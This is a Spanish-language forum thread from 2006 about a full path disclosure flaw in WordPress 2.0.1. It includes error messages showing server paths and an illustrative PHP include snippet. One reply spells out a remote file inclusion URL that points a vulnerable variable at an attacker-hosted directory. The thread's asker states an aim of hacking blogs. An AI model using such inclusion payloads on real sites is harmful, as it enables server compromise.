WordPress v.2.0.1 Path Disclosure

Iniciado por marketes, 11 Julio 2006, 09:47 AM

0 Miembros y 1 Visitante están viendo este tema.

marketes

Hola!! hay por ahi gestores de blog como el WordPress con una vulnerabilidad interesante llamada Path Disclosure, he buscado muxo, se como va y de que forma trabaja la vulnerabilidad y se explotarla pero hay algo que no entiendo, se supone que al poner una pagina en la barra de direcciones te da un error como este:   Fatal error: Call to undefined function: add_filter() in /chs/p1/VICTIMA.com/home/html/blog/wp-includes/default-filters.php on line 4   y se supone que ahi es donde te da la ruta y el path para poder hackear el blog, no lo entiendo muxo si me peden ayudar els agradeceria, saludos.

sirdarckcat

el path disclosure solo te da informacion sobre donde esta alojada la web en el servidor.. no solo con saberla vas a tener control de este

Saludos!!

marketes

Pero por ejemplo, yo pongo: http://VICTIMA/blog/wp-settings.php

Y me sale esto, que nos sirve para averiguar que el sitio esta mal configurado y es vulnerable.


Warning: main(ABSPATHwp-includes/wp-db.php): failed to open stream: No such file or directory in /chs/p1/iguana-tango.com/home/html/blog/wp-settings.php on line 39

Fatal error: main(): Failed opening required 'ABSPATHwp-includes/wp-db.php' (include_path='.:/usr/local/lib/php') in /chs/p1/iguana-tango.com/home/html/blog/wp-settings.php on line 39


Y no despues que hay que hacer, he seguido las rutas esas y no existen y lo del include_paht= no lo entiendo, no se que se puede sacar de ahi, Saludos gracias por contestar.

sirdarckcat

Es vulnerable a Full Path Disclosure, pero no es tan peligroso.. el path aveces incluye el nombre del usuario que controla la cuenta, y en caso de lograr un RFI o RFD te sirve, si solo sabes la ruta no te sirve de nada..

Saludos!!

marketes

Entonces con ese mensaje de error no se puede hacer nada? no pruebo a poner el base_paht= y me sale un mensaje de Internal Server Error, Gracias!

Wdeah

uno de los problemas puede ser que el archivo wp-settings.php esta incluido en otro, y no se ejecuta directamente por navegador, por eso mismo se hace un lio con las rutas.
un ejemplo

admin.php
------------------------------------------------
<?
$ruta = './carpeta/carpeta2/';
include ('./wp-settings.php');
?>

wp-settings.php
------------------------------------------------
<?
include ($ruta.'wp-db.php');
?>

entonces, al ejecutarse el archivo directamente, la variable $ruta no esta definida, y pasa a valer NULL.
el include que hace wp-settings.php no se puede llevar a cabo porque el file no existe ahi.

Puede llegar a ser el problema, no lo estoy afirmando.
saludos

Preth00nker

Cita de: Wdeah en 13 Julio 2006, 11:26 AM
uno de los problemas puede ser que el archivo wp-settings.php esta incluido en otro, y no se ejecuta directamente por navegador, por eso mismo se hace un lio con las rutas.
un ejemplo

admin.php
------------------------------------------------
<?
$ruta = './carpeta/carpeta2/';
include ('./wp-settings.php');
?>

wp-settings.php
------------------------------------------------
<?
include ($ruta.'wp-db.php');
?>

entonces, al ejecutarse el archivo directamente, la variable $ruta no esta definida, y pasa a valer NULL.
el include que hace wp-settings.php no se puede llevar a cabo porque el file no existe ahi.

Puede llegar a ser el problema, no lo estoy afirmando.
saludos

No se si entendí mal, pero de hecho si el código fuera parecido al de Wdeah y se tuviera el control sobre la variable $ruta (por método GET o POST... da igual) pues cambiando la variable por algo como
http://Victima.com/blog/index.php?ruta=http://www.atacker.org/ataques/
y en la dir el atacante crea un file malocioso con el nombre 'wp-settings.php', pues las condiciones se cumplirian y la inclusion sería exitosa.
mov [MyBrain], IA

sirdarckcat

ese no es el codigo de wordpress, solo esta dando un ejemplo

si tuviera las register_globals on que por defecto estan off.. podria hacerse lo que dices.
si no, no.

Saludos!!